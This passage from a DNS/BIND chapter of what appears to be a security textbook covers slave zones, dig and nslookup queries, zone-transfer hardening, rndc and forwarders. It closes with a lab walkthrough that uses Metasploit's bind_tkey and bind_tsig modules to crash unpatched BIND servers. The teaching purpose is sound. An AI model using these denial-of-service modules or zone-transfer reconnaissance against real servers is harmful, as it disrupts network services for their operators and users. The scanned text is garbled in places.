addr.arpa reverse zone; these will be obtained from the zone master.

¢ Thelocalhost forward and reverse zones are built as before.
¢ The root hints file is downloaded and installed as before.
o Thetool rndc-confgen is run as before, and the location of the keyfile is noted.

The primary difference is in the named. conf file. On a CentOS system, this file has content like
Listing 4-8.

Listing 4-8. Sample named.conf file for a slave
// BIND Configuration File

options {
directory "/var/named";

};

zone "." in {
type hint;
file "db.root";
};

zone "stars.example" in {
type slave;
file "slaves/bak.stars.example";
masters {10.0.2.97; };

};

zone "2.0.10.in-addr.arpa" in {
type slave;
file "slaves/bak.10.0.2";
masters {10.0.2.97; };

};
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zone "127.in-addr.arpa" in {
type master;
file "db.127";

};

zone "localhost" in {
type master;
file "db.localhost";

};
include "/etc/rndc.key";

controls {

inet 127.0.0.1 port 953

allow { 127.0.0.1; } keys { "rndc-key"; };
s

The difference between this file and the previous example is that the stars.example and
2.0.10.1in-addr.arpa zones are of type slave, rather than of type master. Note the directive

masters {10.0.2.97; };

This directive tells BIND the IP address (10.0.2.97) for this system to contact to download the
required zone data.

The zone files for the slave zones must be in a location to which the server has write permission,
and this varies between distributions. CentOS 6, for example, has configured the directory /var/
named/slaves correctly. On Ubuntu, the proper directory is /var/cache/bind, while on OpenSuSE
the proper directory is /var/lib/named/slave. On a Windows system, the administrator needs to
create a directory with the proper permissions.

Once the slave nameserver is started, a check of the log files shows the named daemon
downloading the required zone files from the master.

Jun 13 21:32:00 phecda named[3237]: running

Jun 13 21:32:00 phecda named[3237]: zone 2.0.10.in-addr.arpa/IN: Transfer started.
Jun 13 21:32:00 phecda named[3237]: transfer of '2.0.10.in-addr.arpa/IN' from
10.0.2.97#53: connected using 10.0.2.100#44174

Jun 13 21:32:00 phecda named[3237]: zone 2.0.10.in-addr.arpa/IN: transferred
serial 4

Jun 13 21:32:00 phecda named[3237]: transfer of '2.0.10.in-addr.arpa/IN' from
10.0.2.97#53: Transfer completed: 1 messages, 103 records, 2585 bytes, 0.001 secs
(2585000 bytes/sec)

Jun 13 21:32:00 phecda named[3237]: zone 2.0.10.in-addr.arpa/IN: sending notifies
(serial 4)
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Jun 13 21:32:01 phecda named[3237]: zone stars.example/IN: Transfer started.

Jun 13 21:32:01 phecda named[3237]: transfer of 'stars.example/IN' from
10.0.2.97#53: connected using 10.0.2.100#55572

Jun 13 21:32:01 phecda named[3237]: zone stars.example/IN: transferred serial 4
Jun 13 21:32:01 phecda named[3237]: transfer of 'stars.example/IN' from
10.0.2.97#53: Transfer completed: 1 messages, 103 records, 2453 bytes, 0.004 secs
(613250 bytes/sec)

Jun 13 21:32:01 phecda named[3237]: zone stars.example/IN: sending notifies (serial 4)

The transferred zone files can be examined; here is a portion of the file /var/named/slaves/
bak.stars.example downloaded by a CentOS 6.7 slave.

[root@phecda ~]# head -n20 /var/named/slaves/bak.stars.example
$ORIGIN .

$TTL 300 ; 5 minutes
stars.example IN SOA enif.stars.example. sgermain.enif.stars.example. (
4 ; serial
300 ; refresh (5 minutes)
180 ; retry (3 minutes)
1800 ; expire (30 minutes)
300 ; minimum (5 minutes)
)
NS enif.stars.example.
NS antares.stars.example.
$ORIGIN stars.example.
achernar A 10.0.2.21
achernarB A 10.0.2.23
acrux A 10.0.2.24
acruxB A 10.0.2.25
adara A 10.0.2.37
aldeberan A 10.0.2.26
aldeberanB A 10.0.2.27

On some systems, the transferred zone data may be stored in a compressed format. It can be
extracted and read using named-compilezone. For example, on an OpenSuSE 42.2 slave to read
the zone stars.example from the file /var/1ib/named/slave/bak.stars.example and write the
output as text to the file bak.stars.example.txt, the administrator can run the following.

dschubba:/var/lib/named/slave # named-compilezone -f raw -F text -o bak.stars.
example.txt stars.example /var/lib/named/slave/bak.stars.example

zone stars.example/IN: loaded serial 4
dump zone to bak.stars.example.txt...done
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(014

dschubba:/var/lib/named/slave # head -n10 ./bak.stars.example.txt
stars.example. 300 IN SOA enif.stars.example. sgermain.enif.
stars.example. 4 300 180 1800 300

stars.example. 300 IN NS enif.stars.example.
stars.example. 300 IN NS spica.stars.example.
stars.example. 300 IN NS antares.stars.example.
achernar.stars.example. 300 IN A 10.0.2.21
achernarB.stars.example. 300 IN A 10.0.2.23
acrux.stars.example. 300 IN A 10.0.2.24
acruxB.stars.example. 300 IN A 10.0.2.25
adara.stars.example. 300 IN A 10.0.2.37
aldeberan.stars.example. 300 IN A 10.0.2.26

Querying DNS

DNS servers provide information about a network; some is critical to the proper functioning of
the network, but some is also valuable to attackers.

Nslookup

One useful tool available on both Windows and Linux systems is nslookup. By default, ns1lookup
uses the DNS server configured by the system; given a hostname, nslookup returns the IP
address; given an IP address, nslookup returns the hostname. On a Linux system, it returns

egalois@dschubba:~> nslookup acrux.stars.example
Server: 10.0.2.97
Address: 10.0.2.97#53

Name:  acrux.stars.example
Address: 10.0.2.24

egalois@dschubba:~> nslookup 10.0.2.21
Server: 10.0.2.97
Address: 10.0.2.97#53

21.2.0.10.in-addr.arpa name = achernar.stars.example.
The behavior on Windows is similar.

C:\Users\Carl Gauss>nslookup acrux.stars.example
Server: Enif.stars.example
Address: 10.0.2.97
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Name: acrux.stars.example
Address: 10.0.2.24

C:\Users\Carl Gauss>nslookup 10.0.2.21
Server: Enif.stars.example
Address: 10.0.2.97

Name: Achernar.stars.example
Address: 10.0.2.21

Users can select a different nameserver than the default for the system by specifying it as the
second argument on the command line. For example, to query the name server 10.0.2.90 for the
hostname adara.stars.example, run

egalois@dschubba:~> nslookup adara.stars.example 10.0.2.90
Server: 10.0.2.90
Address: 10.0.2.90#53

Name: adara.stars.example
Address: 10.0.2.37

Different types of records can be requested, including nameserver (NS) records and start of
authority records (SOA).

egalois@dschubba:~> nslookup -type=ns stars.example
Server: 10.0.2.97
Address: 10.0.2.97#53

stars.example nameserver = enif.stars.example.
stars.example nameserver = antares.stars.example.

egalois@dschubba:~> nslookup -type=soa stars.example

Server: 10.0.2.97
Address: 10.0.2.97#53
stars.example

origin = enif.stars.example
mail addr = sgermain.enif.stars.example

serial = 4
refresh = 300
retry = 180

expire = 1800
minimum = 300

To obtain all available records, run the request with -type=any.

188



CHAPTER 4  DNS AND BIND
Dig
A more powerful tool to query DNS servers is dig. Unlike nslookup, which is (usually) included by
default on both Windows and Linux systems, dig is part of the BIND suite of tools. It is (usually)

included on most Linux distributions, but it must be installed separately on Windows systems. It
is included with BIND when it is installed on Windows.

Dig: Host Name Query
Here is a simple dig query on Linux, asking for information about a host name.
galois@dschubba:~> dig acrux.stars.example

; <<>> DiG 9.9.9-P1 <<>> acrux.stars.example

;5 global options: +cmd

;5 Got answer:

;5 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2346

;5 Tlags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3

55 OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; udp: 4096

;; OQUESTION SECTION:
;acrux.stars.example. IN A

55 ANSWER SECTION:
acrux.stars.example. 300 IN A 10.0.2.24

55 AUTHORITY SECTION:
stars.example. 300 IN NS navi.stars.example.
stars.example. 300 IN NS enif.stars.example.

;5 ADDITIONAL SECTION:
enif.stars.example. 300 IN A 10.0.2.97
navi.stars.example. 300 IN A 10.0.2.106

;5 Query time: O msec

;3 SERVER: 10.0.2.97#53(10.0.2.97)

55 WHEN: Wed Jun 14 20:34:25 EDT 2017
53 MSG SIZE 1rcvd: 173
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Dig: Address Query

Given a host’s IP address (specified with -x), dig returns information about the host’s name.
[cgauss@enif ~]$ dig -x 10.0.2.29

5 <<>> DiG 9.9.4-RedHat-9.9.4-14.el7 <<>> -x 10.0.2.29

;5 global options: +cmd

;5 Got answer:

;5 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61963

;5 Tlags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3

53 OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; udp: 4096

;; OUESTION SECTION:

529.2.0.10.1in-addr.arpa. IN PTR

55 ANSWER SECTION:
29.2.0.10.in-addr.arpa. 300 IN PTR Antares.stars.example.

55 AUTHORITY SECTION:
2.0.10.in-addr.arpa. 300 IN NS navi.stars.example.
2.0.10.in-addr.arpa. 300 IN NS enif.stars.example.

;5 ADDITIONAL SECTION:
enif.stars.example. 300 IN A 10.0.2.97
navi.stars.example. 300 IN A 10.0.2.106

;5 Query time: 0 msec

;3 SERVER: 10.0.2.97#53(10.0.2.97)

55 WHEN: Wed Jun 14 20:35:05 EDT 2017
53 MSG SIZE 1rcvd: 156

Dig: Response Fields

Both responses begin with the version of dig; version 9.9.9-P1 in the first example and 9.9.4-14 in
the second. Next come the global options that have been set for dig; the only option is +cmd, which
indicates that dig is to include its version information with the response.

The responses continue with the flags that were set; these match the corresponding flags in a
DNS header, which may include the following:

e gr Query response
e aa Authoritative answer
e tcResponse packet has been truncated
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e 1d Recursion desired
e« raRecursion available

After the flag list comes the number of results in each subsequent section. In both examples,
the request contained one query; the response includes one entry in the answer section, two
answers in the authority section, and three entries in the additional section.

The question section is the request that was made: a request for an address record in the first
example and a request for a pointer in the second.

The answer section contains the responses to the query. Each returned record, whether part
of the answer, authority, or additional section includes a number; this is the TTL of the response.
Recall that a zone’s TTL is provided with each request; the TTL states how long the request should
be cached. In the example servers developed earlier, this was set to 5 minutes, so the value 300 is
expected.

The authority section lists the server(s) that provide authoritative information for the zone,
and the additional section provides additional answers related to the query.

More details about the structure and format of the response are available in RFC 1035
(https://tools.ietf.org/html/rfc1035).

Dig: Any Query

Like nslookup, dig can make other kinds of queries, like nameserver (NS) and start of authority
queries (SOA), though the syntax is different. For dig, specify the type of query with the -t flag. As
an example, to query everything (an “any” query), run

[cgauss@enif ~]$ dig -t any stars.example

; <<>> DiG 9.9.4-RedHat-9.9.4-14.el7 <<>> -t any stars.example

;5 global options: +cmd

;5 Got answer:

55 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43013

;5 Tlags: qr aa rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 3

55 OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
55 QUESTION SECTION:

;stars.example. IN ANY

55 ANSWER SECTION:

stars.example. 300 IN SOA enif.stars.example. sgermain.enif.
stars.example. 4 300 180 1800 300

stars.example. 300 IN NS navi.stars.example.

stars.example. 300 IN NS enif.stars.example.
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;5 ADDITIONAL SECTION:
enif.stars.example. 300
navi.stars.example. 300

;5 Query time: 25 msec

IN
IN

;3 SERVER: 10.0.2.97#53(10.0.2.97)

;3 WHEN: Wed Jun 14 20:36:05 EDT 2017

;3 MSG SIZE rcvd: 157

Dig: Specifying the Server

10.0.2.97
10.0.2.106

By default, dig uses the DNS server that the host uses for DNS requests. To use a different server,
specify it with "@". For example, to query a DNS server at 10.0.2.106 for the IP address of the host

acrux.stars.example, run

[cgauss@enif ~]$ dig @10.0.2.106 acrux.stars.example

; <<>> DiG 9.9.4-RedHat-9.9.4-14.el7 <<>> @10.0.2.106 acrux.stars.example

; (1 server found)
;5 global options: +cmd
;5 Got answer:

;5 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 34020
;5 flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3

55 OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; udp: 4096

55 QUESTION SECTION:
;acrux.stars.example.

55 ANSWER SECTION:
acrux.stars.example. 300

5> AUTHORITY SECTION:
stars.example. 300
stars.example. 300

5> ADDITIONAL SECTION:
enif.stars.example. 300
navi.stars.example. 300

;5 Query time: 21 msec

;3 SERVER: 10.0.2.106#53(10.0.2.106)
55 WHEN: Wed Jun 14 20:38:04 EDT 2017

53 MSG SIZE rcvd: 150
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Dig: Version Query

The version of BIND running on a target server is available with a dig query; here we see that the
BIND server at 10.0.2.106 is running BIND 9.9.8.

[cgauss@enif ~]$ dig @10.0.2.106 version.bind txt chaos

; <<>> DiG 9.9.4-RedHat-9.9.4-14.el7 <<>> ©10.0.2.106 version.bind txt chaos
; (1 server found)

;5 global options: +cmd

;5 Got answer:

55 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 62855

;; Tlags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1

55 WARNING: recursion requested but not available

;5 OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; udp: 4096

;; OUESTION SECTION:

;version.bind. CH XT

53 ANSWER SECTION:
version.bind. 0 CH TXT "9.9.8"

55 AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.

;5 Query time: 10 msec

;3 SERVER: 10.0.2.106#53(10.0.2.106)
53 WHEN: Wed Jun 14 20:38:43 EDT 2017
53 MSG SIZE xrcvd: 76

Dig: Zone Transfers

Users can request a zone transfer with dig; if allowed, this returns the same set of data that a slave
nameserver would receive.

[cgauss@enif ~]$ dig @10.0.2.90 stars.example axfr

; <<>> DiG 9.9.4-RedHat-9.9.4-14.el7 <<>> @10.0.2.90 stars.example axfr
; (1 server found)
;5 global options: +cmd

stars.example. 300 IN SOA enif.stars.example. sgermain.
enif.stars.example. 4 300 180 1800 300

stars.example. 300 IN NS enif.stars.example.
stars.example. 300 IN NS antares.stars.example.
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achernar.stars.example. 300 IN A 10.0.2.21
achernarB.stars.example. 300 IN A 10.0.2.23

... Output Deleted ...

wei.stars.example. 300 IN A 10.0.2.91
wezen.stars.example. 300 IN A 10.0.2.52
stars.example. 300 IN SOA enif.stars.example. sgermain.enif.

stars.example. 4 300 180 1800 300

;5 Query time: O msec

;3 SERVER: 10.0.2.90#53(10.0.2.90)

55 WHEN: Tue Jun 13 22:40:01 EDT 2017

;5 XFR size: 102 records (messages 1, bytes 2439)

Advanced Configuration

Although the BIND servers constructed so far are functional, they are far from secure. The ability
to perform a zone transfer and download every record tells the attacker the IP address of every
named system on the network, the location of all the public DNS servers, and the location of the
mail servers. If hosts are named after their function, the attacker may also have a few fair guesses
as to the likely location of databases or other pieces of critical infrastructure.

Controlling Zone Transfers

Though there is no need to allow zone transfers to arbitrary hosts, slaves must be able to perform
zone transfers from the master. The BIND directive allow-transfer specifies which IP addresses
(if any) can request a zone transfer. Since a slave server has no need to allow zone transfers,
modify the global section of named. conf for the slave to include

options {
directory "/etc/bind";
allow-transfer{ "none"; };

};

The same statement can be overridden in any zone. To allow a slave at 10.0.2.106 permission
to perform a zone transfer for the forward zone stars.example and the reverse zone 2.0.10. in-
addr.arpa, modify the zone directives on the master as follows.

zone "stars.example" in {
type master;
file "db.stars.example";
allow-transfer{ 10.0.2.106; };

};
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zone "2.0.10.in-addr.arpa" in {
type master;
file "db.10.0.2";
allow-transfer{ 10.0.2.106; };

b

The allow-transfer directive allows the use of “any” or “none”; it also allows the
specification of networks in CIDR notation, like 10.0.2.0/24. Multiple entries are allowed provided
they are separated by semicolons.

Rndc: Updating Configuration

Once changes are made to the configuration file, the server needs to be updated with the
new data. Instead of stopping and starting the service using the systemd, Upstart, or SysVInit
commands, this can be done with rndc and the command

[root@Spica ~]# rndc reconfig

The reconfig option tells BIND to reread named. conf, but not to reread any existing zone files.

Rndc: Updating Zone Data

The process to update a zone with new host data proceeds in three steps. In the forward zone,
update the serial number and add/modify/delete the address (A) records. Then, in the reverse
zone, update the serial number and add/modify/delete the corresponding pointer (PTR) records.
Finally, reload the zone. To reload all the zone files, run the command

[root@enif ~]# rndc reload
server reload successful

If a zone is also specified, then only that zone is updated, so to only update the forward zone
named stars.example, the command is

[root@enif ~]# rndc reload stars.example
zone reload queued

Slave nameservers receive notification that the zone has been updated and download the new
data from the master. The system logs show the process: for example, on an OpenSuSE 42.2 slave:

dschubba:~ # journalctl -u named --since "2 minutes ago"

-- Logs begin at Sat 2017-01-14 16:01:40 EST, end at Wed 2017-06-14 21:03:36 EDT. --
Jun 14 21:03:36 dschubba named[3168]: zone 2.0.10.in-addr.arpa/IN: Transfer started.
Jun 14 21:03:36 dschubba named[3168]: transfer of '2.0.10.in-addr.arpa/IN' from
10.0.2.97#53: connected using 1
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Jun 14 21:03:36 dschubba named[3168]: zone 2.0.10.in-addr.arpa/IN: transferred
serial 15

Jun 14 21:03:36 dschubba named[3168]: transfer of '2.0.10.in-addr.arpa/IN' from
10.0.2.97#53: Transfer status:

Jun 14 21:03:36 dschubba named[3168]: transfer of '2.0.10.in-addr.arpa/IN' from
10.0.2.97#53: Transfer complete

Jun 14 21:03:36 dschubba named[3168]: zone 2.0.10.in-addr.arpa/IN: sending
notifies (serial 15)

Rndc: Server Control and Statistics

Other control commands include rndc stop, to stop the server while completing any updates in
progress, rndc halt to stop the server without saving any pending updates, and rndc flush to
clear the server’s cache.

The command rndc stats dumps the server statistics to the file named. stats in the server’s
current directory. Similarly, rndc recursing lists the queries the server is currently recursing on
to the file named.recursing. In many cases, though, the server user does not have write access to
its directory and the command will throw an error.

[root@enif ~]# rndc stats
rndc: 'stats' failed: permission denied

The solution is to specify a file that the server has write access in the options section of
named.cont. In a Mint system, for example, the server can write to /var/cache/bind, so the global
options section can be updated to read

options {
directory "/etc/bind";
allow-transfer{ "none"; };
statistics-file "/var/cache/bind/stats"”;
recursing-file "/var/cache/bind/recursing"”;

b

In a CentOS system, the comparable file locations are /var/named/data/stats and /var/
named/data/recursing; if the system uses chroot, these are actually located at /var/named/
chroot/var/named/data/recursing and /var/named/chroot/var/named/data/recursing.

The statistics can be dumped and read; for example, on CentOS 7.

[root@enif ~]# rndc stats
[root@enif ~]# cat /var/named/data/stats
+++ Statistics Dump +++ (1497489367)
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++ Incoming Requests ++
55 QUERY
++ Incoming Queries ++
5A
34 SOA
14 IXFR
2 AXFR
++ Outgoing Queries ++
[View: default]
66 A
6 NS
45 AAAA
[View: bind]
++ Name Server Statistics ++
55 IPv4 requests received
34 requests with EDNS(0) received
16 TCP requests received
38 responses sent
34 responses with EDNS(0) sent
38 queries resulted in successful answer
34 queries resulted in authoritative answer
4 queries resulted in non authoritative answer
5 queries caused recursion
1 duplicate queries received
16 requested transfers completed
++ Zone Maintenance Statistics ++
12 IPv4 notifies sent

... Output Deleted ...

Rndc: Logging DNS Queries

The command rndc querylog toggles whether BIND logs its queries. These are logged by the
system; on Linux it uses syslog or systemd; on Windows it uses the application log.

As an example, here are the logs on a CentOS 7 system as querylog is turned on, some queries
made, and querylog turned off.

[root@enif ~]# journalctl -u named --since "5 minutes ago"

-- Logs begin at Wed 2017-06-14 18:54:06 EDT, end at Wed 2017-06-14 21:38:12 EDT. --
Jun 14 21:37:19 enif.stars.example named[5255]: received control channel command
"querylog'’
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Jun 14 21:37:19 enif.stars.example named[5255]: query logging is now on

Jun 14 21:37:23 enif.stars.example named[5255]: client 10.0.2.90#60384 (spica.
stars.example): query: spica.stars.example IN A + (10.0.2.97)

Jun 14 21:37:52 enif.stars.example named[5255]: client 10.0.2.28#48593
(100.2.0.10.in-addr.arpa): query: 100.2.0.10.in-addr.arpa IN PTR + (10.0.2.97)
Jun 14 21:38:07 enif.stars.example named[5255]: client 10.0.2.106#61503
(97.2.0.10.in-addr.arpa): query: 97.2.0.10.in-addr.arpa IN PTR + (10.0.2.97)

Jun 14 21:38:07 enif.stars.example named[5255]: client 10.0.2.106#61504 (google.
com): query: google.com IN A + (10.0.2.97)

Jun 14 21:38:07 enif.stars.example named[5255]: error (network unreachable)
resolving 'google.com/A/IN': 2001:503:a83e::2:30#53

Jun 14 21:38:08 enif.stars.example named[5255]: client 10.0.2.106#61505 (google.
com): query: google.com IN AAAA + (10.0.2.97)

Jun 14 21:38:12 enif.stars.example named[5255]: received control channel command
"querylog'’

Jun 14 21:38:12 enif.stars.example named[5255]: query logging is now off

BIND Version Reporting

Changing the global option “version” changes the version name that BIND reports when queried.
Expand the options section again to now include

options {
directory "/var/named";
allow-transfer{ "none"; };
statistics-file "/var/named/data/stats";
recursing-file "/var/named/data/recursing”;
version "This isn't the version of BIND you are looking for";

};
Then this is what BIND returns when queried for its version.
egalois@dschubba:~> dig @10.0.2.97 version.bind txt chaos

; <<>> DiG 9.9.9-P1 <<>> @10.0.2.97 version.bind txt chaos

; (1 server found)

;5 global options: +cmd

;5 Got answer:

55 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 24177

;5 flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
55 WARNING: recursion requested but not available

198



CHAPTER 4  DNS AND BIND

;; OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; udp: 4096

55 QUESTION SECTION:

;version.bind. CH TXT

53 ANSWER SECTION:

version.bind. 0 CH XT "This isn't the version of BIND
you are looking for"

53 AUTHORITY SECTION:

version.bind. 0 CH NS version.bind.

;5 Query time: O msec

;3 SERVER: 10.0.2.97#53(10.0.2.97)

53 WHEN: Wed Jun 14 22:14:22 EDT 2017
53 MSG SIZE rcvd: 118

Forwarders

One way to build a more complex DNS infrastructure is through forwarders. A forwarder forwards
requests for data in a zone to another server. Forwarders can be set up for both forward zones and
reverse zones.

Consider a pair of test networks:

o The “stars” network, with namespace *.stars.example in the address space
10.0.2.0/24 and nameservers at 10.0.2.97 and 10.0.2.106.

e The “nebula” network with namespace *.nebula.example in the address
space 10.0.4.0/24 and nameservers at 10.0.4.10 and 10.0.4.11.

A system using a nameserver for the “stars” network can determine the hostname or IP
address of any system in “stars”; because the nameserver also has a valid root hints file, it can also
determine the host name or IP address of any system on the wider Internet. However, it cannot
look up any information about the “nebula” network, as the specification is neither in “stars” nor
on the Internet.

To change this behavior, the namservers for “stars” need to be updated with information from
“nebula”. In the named. conf file on the nameserver for “stars” add two new zones: one for nebula.
example and one for 10.0.4.0/24.

zone "nebula.example" in {
type forward;
forwarders{ 10.0.4.10; 10.0.4.11; };

};

199



CHAPTER 4  DNS AND BIND

zone "4.0.10.in-addr.arpa" in {
type forward;
forwarders{ 10.0.4.10; 10.0.4.11; };

};

These tell the nameserver that the data for the “nebula” network is available at 10.0.4.10 and
10.0.4.11. Systems that use the “stars” nameservers now have access to data from the “nebula”
network.

[cgauss@enif ~]$ nslookup trifid.nebula.example
Server: 10.0.2.97
Address: 10.0.2.97#53

Non-authoritative answer:
Name: trifid.nebula.example
Address: 10.0.4.31

[cgauss@enif ~]$ dig trifid.nebula.example

; <<>> DiG 9.9.4-RedHat-9.9.4-14.el7 <<>> trifid.nebula.example

;5 global options: +cmd

;5 Got answer:

;5 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6445

;5 Tlags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3

55 OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
55 QUESTION SECTION:

;trifid.nebula.example. IN A

;3 ANSWER SECTION:

trifid.nebula.example. 284 IN A 10.0.4.31

55 AUTHORITY SECTION:

nebula.example. 284 IN NS coalsack.nebula.example.
nebula.example. 284 IN NS cone.nebula.example.

5> ADDITIONAL SECTION:
cone.nebula.example. 225 IN A 10.0.4.11
coalsack.nebula.example. 225 IN A 10.0.4.10

;5 Query time: O msec

;3 SERVER: 10.0.2.97#53(10.0.2.97)

53 WHEN: Wed Jun 14 22:43:58 EDT 2017
53 MSG SIZE rcvd: 140
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Attacking BIND

Because DNS is core to the functioning of the Internet, attacks against BIND, even denial of
service attacks, can be severe.

Denial of Service Attacks Against BIND

There are Metasploit modules that allow an attacker to perform denial of service attacks against
older, unpatched versions of BIND.

e BIND TKEY Query Denial of Service
e auxiliary/dos/dns/bind_tkey
o CVE2015-5477

e  BIND 9 from BIND 9.1 through 9.8, BIND 9.9.0 up to 9.9.7-P1 and BIND
9.10.0 up t0 9.10.2-P2

e  BIND TKEY Query Denial of Service*
o auxiliary/dos/dns/bind_tsig
o CVE2016-2776

e BIND 9.0 through 9.8, BIND 9.9 up to 9.9.9-P2, BIND 9.9.3-S1 through BIND
9.9.9-S2, BIND 9.10.10 up to0 9.10.4-P2 and BIND 9.11.0al up to0 9.11.0rc

Example: TKEY CVE 2015-5477

Suppose that an attacker on Metasploit wants to disable a DNS server running BIND 9.9.4 on
CentOS 7.0-1406 at 10.0.2.97. To do so, the attacker first loads the module.

mst > use auxiliary/dos/dns/bind_tkey
msf auxiliary(dos/dns/bind_tkey) > info

Name: BIND TKEY Query Denial of Service
Module: auxiliary/dos/dns/bind_tkey
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2015-07-28

'Although this has the same name in Metasploit as the previous module, it is a different module and a
different attack. This vulnerability was announced about 15 months later. Compare https://kb.isc.
org/article/AA-01419 (announcing CVE 2016-2776) with https://kb.isc.org/article/AA-01272
(announcing CVE 2015-5477).
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... Output Deleted ...

Basic options:

Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to probe in
each set

INTERFACE no The name of the interface

RHOSTS yes The target address range or CIDR
identifier

RPORT 53 yes The target port (UDP)

SRC_ADDR no Source address to spoof

THREADS 10 yes The number of concurrent threads

Description:

This module sends a malformed TKEY query, which exploits an error in
handling TKEY queries on affected BIND9 'named' DNS servers. As a
result, a vulnerable named server will exit with a REQUIRE assertion
failure. This condition can be exploited in versions of BIND between
BIND 9.1.0 through 9.8.x, 9.9.0 through 9.9.7-P1 and 9.10.0 through
9.10.2-P2.

... Output Deleted ...
The attacker specifies the IP address of the remote target and launches the exploit.

msf auxiliary(dos/dns/bind tkey) > set rhosts 10.0.2.97
rhosts => 10.0.2.97
msf auxiliary(dos/dns/bind_tkey) > exploit

[*] Sending packet to 10.0.2.97
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

The BIND server on the target dies. A check of the logs shows the service stop.

[root@enif ~]# journalctl -u named --since "5 minutes ago"

-- Logs begin at Wed 2018-04-18 21:27:45 EDT, end at Wed 2018-04-18 21:44:54 EDT. --
Apr 18 21:44:35 enif.stars.example named[3841]: message.c:2320: REQUIRE(*name ==
((void *)0)) failed, back trace

Apr 18 21:44:35 enif.stars.example named[3841]: #0 0x7f33f7787380 in ??

Apr 18 21:44:35 enif.stars.example named[3841]: #1 0x7f33f59791ca in ??
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35 enif.stars.example named[3841]: #2 o0x7f33f6fc3f2f in ??

35 enif.stars.example named[3841]: #3 0x7f33f7065706 in ??

35 enif.stars.example named[3841]: #4 0x7f33f779cc83 in ??

35 enif.stars.example named[3841]: #5 0x7f33f777c641 in ??

35 enif.stars.example named[3841]: #6 0x7f33f599b8a6 in ??

35 enif.stars.example named[3841]: #7 0x7f33f5550df3 in ??

35 enif.stars.example named[3841]: #8 0x7f33f47f93dd in ??

35 enif.stars.example named[3841]: exiting (due to assertion failure)
36 enif.stars.example systemd[1]: named.service: main process exited,
status=6/ABRT

36 enif.stars.example sh[3870]: Usage:

36 enif.stars.example sh[3870]: kill [options] <pid|name> [...]

36 enif.stars.example sh[3870]: Options:

36 enif.stars.example sh[3870]: -a, --all do not
name-to-pid conversion to processes

36 enif.stars.example sh[3870]: with the same uid as the present

process

Apr 18 21:44:36 enif.stars.example sh[3870]: -s, --signal <sig> send specified
signal

Apr 18 21:44:36 enif.stars.example sh[3870]: -q, --queue <sig> use sigqueue(2)
rather than kill(2)

Apr 18 21:44:36 enif.stars.example sh[3870]: -p, --pid print pids without
signaling them

Apr 18 21:44:36 enif.stars.example sh[3870]: -1, --list [=<signal>] list signal
names, or convert one to a name

Apr 18 21:44:36 enif.stars.example sh[3870]: -L, --table  list signal names and
numbers

Apr 18 21:44:36 enif.stars.example sh[3870]: -h, --help display this help and
exit

Apr 18 21:44:36 enif.stars.example sh[3870]: -V, --version output version

information and exit

Apr 18 21:44:
Apr 18 21:44:

exited, code=

Apr 18 21:44:
state.

36 enif.stars.example
36 enif.stars.example
exited status=1

36 enif.stars.example

sh[3870]: For more details see kill(1).
systemd[1]: named.service: control process

systemd[1]: Unit named.service entered failed
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Mint 18 uses BIND 9.10.3-P4, which is not vulnerable to this attack. If this attack is launched
on such a system with querylog enabled, the TKEY query is noted, but the service is otherwise
unaffected.

jmaxwell@kalliope ~ $ sudo journalctl -u bind9 --since "5 minutes ago"

-- Logs begin at Wed 2018-04-18 21:28:59 EDT, end at Wed 2018-04-18 21:59:26 EDT. --
Apr 18 21:58:32 kalliope named[1004]: received control channel command 'querylog on'
Apr 18 21:58:32 kalliope named[1004]: query logging is now on

Apr 18 21:58:39 kalliope named[1004]: client 10.0.2.2#57840 (jOpnLIAfGW3wIkq1):
query: jopnLIAfGW3wlkql IN TKEY - (10.0.3.45)

There are no simple mitigation strategies that can be employed beyond updating to a patched
version of BIND.

Example: Buffer.c CVE 2016-2776

The TSIG attack auxiliary/dos/dns/bind_tsig can be used to crash BIND 9.10.3-P4 from this
same Mint 18 system. The attack is launched in the same fashion.

msf auxiliary(dos/dns/bind_tkey) > use auxiliary/dos/dns/bind_tsig
msf auxiliary(dos/dns/bind_tsig) > info

Name: BIND TKEY Query Denial of Service
Module: auxiliary/dos/dns/bind_tsig
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2016-09-27

... Output Deleted ...

Basic options:

Name Setting Required Description

BATCHSIZE 256 yes The number of hosts to probe in each set
INTERFACE no The name of the interface

RHOSTS yes The target address range or CIDR identifier
RPORT 53 yes The target port (UDP)

SRC_ADDR no Source address to spoof

THREADS 10 yes The number of concurrent threads
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Description:
A defect in the rendering of messages into packets can cause named
to exit with an assertion failure in buffer.c while constructing a
response to a query that meets certain criteria. This assertion can
be triggered even if the apparent source address isn't allowed to
make queries.

... Output Deleted ...

msf auxiliary(dos/dns/bind _tsig) > set rhosts 10.0.3.45
rhosts => 10.0.3.45
msf auxiliary(dos/dns/bind_tsig) > exploit

[*] Sending packet to 10.0.3.45
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

The Mint 18 logs show BIND halting.
